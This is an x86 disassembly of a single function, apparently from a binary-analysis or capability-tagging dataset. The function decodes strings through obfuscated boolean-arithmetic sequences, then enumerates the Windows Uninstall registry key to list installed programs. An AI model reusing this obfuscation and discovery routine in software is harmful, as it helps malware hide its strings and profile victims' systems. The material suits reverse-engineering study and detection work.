Function at 0x449110
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
cmp dword [0x47667c], 0
jne 0x449787
mov cx, word [0x4757c0]
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0xaae2
and cx, 0xaae2
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov word [0x4757e0], dx
mov dx, word [0x4757c2]
mov si, dx
xor si, 0xffff
mov di, dx
xor di, 0xffff
mov cx, si
or cx, di
xor cx, 0xffff
or si, di
xor si, 0xffff
xor cx, 0xffff
xor si, 0xffff
and cx, si
and cx, 0x24ad
mov si, cx
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
shl si, 1
sub si, 0xffff
sub cx, si
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
or si, 0
and si, 0xffff
xor si, 0xffff
mov dx, si
xor dx, 0xffff
and dx, 0xdb52
or si, 0x24ad
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
and dx, si
and cx, dx
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
mov word [0x4757e2], cx
mov cx, word [0x4757c4]
xor cx, 0x6d30
mov word [0x4757e4], cx
mov cx, word [0x4757c6]
mov dx, cx
xor dx, 0x3126
xor dx, 0xffff
and dx, 0x3126
shl dx, 1
sub dx, 0x3126
sub cx, dx
mov word [0x4757e6], cx
mov cx, word [0x4757c8]
xor cx, 0xfea9
mov word [0x4757e8], cx
mov cx, word [0x4757ca]
mov dx, cx
xor dx, 0xffff
and dx, 0x630
and cx, 0xf9cf
or dx, cx
xor dx, 0x5280
mov word [0x4757ea], dx
mov cx, word [0x4757cc]
xor cx, 0x5214
mov word [str.qPK_], cx
mov cx, word [0x4757ce]
mov dx, cx
xor dx, 0xffff
and dx, 0x7901
and cx, 0x86fe
or dx, cx
xor dx, 0x2799
mov word [0x4757ee], dx
mov cx, word [0x4757d0]
mov dx, cx
xor dx, 0x7fc8
mov si, dx
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
shl si, 1
sub si, 0xffff
sub dx, si
and dx, 0x7fc8
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add dx, 0x8038
sub cx, dx
mov word [0x4757f0], cx
mov cx, word [0x4757d2]
mov dx, cx
and dx, 0xeb7e
mov si, dx
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub cx, 0x6065
add cx, 0xeb7e
add cx, 0x6065
sub cx, dx
mov word [0x4757f2], cx
mov cx, word [0x4757d4]
xor cx, 0x94a4
mov word [0x4757f4], cx
mov cx, word [0x4757d6]
xor cx, 0x18
mov word [0x4757f6], cx
mov cx, word [0x4757d8]
xor cx, 0x99d8
mov word [0x4757f8], cx
mov cx, word [0x475800]
xor cx, 0x7a49
mov word [0x475820], cx
mov cx, word [0x475802]
mov dx, cx
and dx, dx
xor dx, 0xffff
and dx, 0x787a
xor dx, 0xffff
mov si, cx
xor si, 0xffff
or si, 0x787a
xor dx, 0xffff
xor si, 0xffff
or dx, si
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
and dx, 0x787a
mov si, dx
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
mov si, dx
xor si, 0xffff
and si, 0x787a
and dx, 0x8785
sub dx, si
sub cx, dx
mov word [0x475822], cx
mov dx, word [0x475804]
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov si, dx
sub si, cx
mov cx, si
and cx, 0x36ae
xor cx, 0xffff
xor si, 0xffff
or si, 0xc951
and cx, si
xor cx, 0xffff
and dx, 0xc951
or cx, dx
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
or dx, si
and dx, 0xe34e
xor dx, 0xffff
xor cx, 0xffff
or cx, 0xe34e
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov word [0x475824], dx
mov cx, word [0x475806]
mov dx, cx
xor dx, 0x4348
xor dx, 0xffff
and dx, 0x4348
shl dx, 1
sub dx, 0x4348
sub cx, dx
mov word [0x475826], cx
mov cx, word [0x475808]
mov dx, cx
xor dx, 0xba9d
xor dx, 0xffff
and dx, 0xba9d
shl dx, 1
sub dx, 0xba9d
sub cx, dx
mov word [0x475828], cx
mov dx, word [0x47580a]
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
and cx, si
xor cx, 0xffff
and cx, 0x7d06
mov si, dx
and si, 0x7d06
xor dx, 0x7d06
or si, dx
xor si, 0xffff
mov dx, si
and dx, cx
xor dx, 0xffff
add cx, si
add cx, 1
add cx, dx
xor cx, 0xffff
mov word [0x47582a], cx
mov cx, word [0x47580c]
mov dx, cx
xor dx, 0x91f6
xor dx, 0xffff
and dx, 0x91f6
shl dx, 1
sub dx, 0x91f6
sub cx, dx
mov word [0x47582c], cx
mov cx, word [0x47580e]
mov dx, cx
and dx, 0x9f46
shl dx, 1
add cx, 0x9f46
sub cx, dx
mov word [0x47582e], cx
mov cx, word [0x475810]
mov dx, cx
xor dx, 0xffff
and dx, 0x273b
and cx, 0xd8c4
or dx, cx
xor dx, 0xed02
mov word [0x475830], dx
mov cx, word [str.8T_k]
mov dx, cx
xor dx, 0xffff
mov si, dx
xor si, 0x5455
xor si, 0xffff
or dx, 0x5455
and dx, si
mov si, cx
xor si, 0xabaa
xor si, 0xffff
or cx, 0xabaa
and cx, si
mov si, dx
xor si, 0xffff
mov ax, cx
xor ax, 0xffff
mov di, si
and di, 0x402a
and dx, 0xbfd5
mov bx, ax
and bx, 0x402a
and cx, 0xbfd5
or di, dx
or bx, cx
xor di, bx
or si, ax
xor si, 0xffff
and si, 0xffff
or di, si
mov word [0x475832], di
mov cx, word [0x475814]
mov si, cx
xor si, 0xffff
mov ax, cx
xor ax, 0xffff
mov dx, si
add dx, 1
xor si, 0xffff
or si, ax
add si, dx
mov dx, si
and dx, 0x94a1
xor si, 0x94a1
or dx, si
and dx, dx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
or cx, 0x6b5e
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
mov ax, dx
and ax, 0xffff
shl ax, 1
add dx, 0xffff
sub dx, ax
xor cx, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or cx, cx
xor cx, 0xffff
xor si, 0xffff
xor cx, 0xffff
and si, cx
mov word [0x475834], si
mov cx, word [0x475816]
mov ax, cx
add ax, 1
mov dx, cx
xor dx, 0xffff
or dx, 0xe498
add dx, ax
mov ax, dx
and ax, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, ax
mov ax, dx
and ax, 2
or dx, 2
imul dx, ax
add dx, si
add cx, 0xe498
mov ax, cx
xor ax, 0xffff
and ax, dx
xor dx, 0xffff
and cx, dx
sub cx, ax
mov word [0x475836], cx
jmp 0x449789
mov dword [0x47667c], 1
push eax
mov dword [ebp - 0x1c], esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x18], esp
sub esp, 0x800
mov dword [ebp - 0x2c], esp
push eax
sub esp, 0x7fc
mov dword [ebp - 0x48], esp
sub esp, 0x800
mov dword [ebp - 0x38], esp
push eax
mov eax, esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov edx, esp
push eax
mov ecx, esp
push eax
mov esi, esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x20], esp
sub esp, 0x18
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x4c], esp
sub esp, 0x1c
mov dword [ebp - 0x3c], esp
mov dword [ebp - 0x50], edi
mov ebx, dword [ebp + 8]
mov dword [edi], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x28]
mov edi, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], 0
lea eax, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
mov dword [edi], eax
mov dword [ebx], 0
mov dword [ebp - 0x44], edx
mov dword [edx], 0xf003f
mov dword [ebp - 0x34], ecx
mov dword [ecx], 0
sub esp, 8
mov dword [esp], 0xc800
mov dword [esp + 4], 2
call fcn.00455217
add esp, 8
mov dword [esi], eax
mov dword [ebp - 0x30], esi
cmp dword [esi], 0
sete al
test al, 1
jne 0x449850
jmp 0x449867
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x449b5f
mov eax, dword [edi]
mov ecx, 0x80000002
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x20019
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 0
je 0x4498b3
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x449b5f
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov esi, dword [ebp - 0x2c]
jmp 0x4498c1
jmp 0x4498c3
cmp dword [ebx], 0
sete al
test al, 1
jne 0x4498e2
jmp 0x4498cf
jmp 0x4498d1
mov eax, dword [ebp - 0x10]
mov dword [eax], 2
mov edi, dword [ebp - 0x1c]
jmp 0x449aa0
mov dword [ebp - 0x24], edi
mov edi, dword [ebp - 0x34]
mov dword [edi], 0x800
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x20
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov edi, dword [ebp - 0x24]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebx], eax
cmp eax, 0
jne 0x449a85
mov eax, dword [edi]
lea ecx, str._s_s
sub esp, 0x10
mov ebx, dword [ebp - 0x48]
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, 0x80000002
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x20019
mov ebx, dword [ebp - 0x18]
mov dword [esp + 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 0
je 0x4499cf
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x449aa0
mov esi, dword [ebp - 0x34]
mov dword [esi], 0x800
lea eax, [0x475820]
sub esp, 0xc
mov edi, dword [ebp - 0x40]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
call fcn.0044fc60
add esp, 0xc
mov eax, dword [ebx]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x44]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 0
jne 0x449a69
jmp 0x449a30
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx]
mov ecx, dword [ecx]
lea edx, str._s_s_n
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x28]
jmp 0x449a77
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
jmp 0x449a77
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x449a87
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
sub eax, 0x69082f45
add eax, 1
add eax, 0x69082f45
mov dword [ecx], eax
jmp 0x4498c1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp eax, 2
jne 0x449b5f
mov esi, dword [ebp - 0x30]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.0042f160
add esp, 4
mov ebx, dword [ebp - 0x4c]
mov dword [ebx], eax
lea eax, [0x4757e0]
sub esp, 0xc
mov ecx, dword [ebp - 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1a
call fcn.0044fc60
add esp, 0xc
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x50]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov edx, dword [ebp - 0x3c]
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0042f330
add esp, 0x10
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [edi], 1
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x449b5f
mov eax, dword [edi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret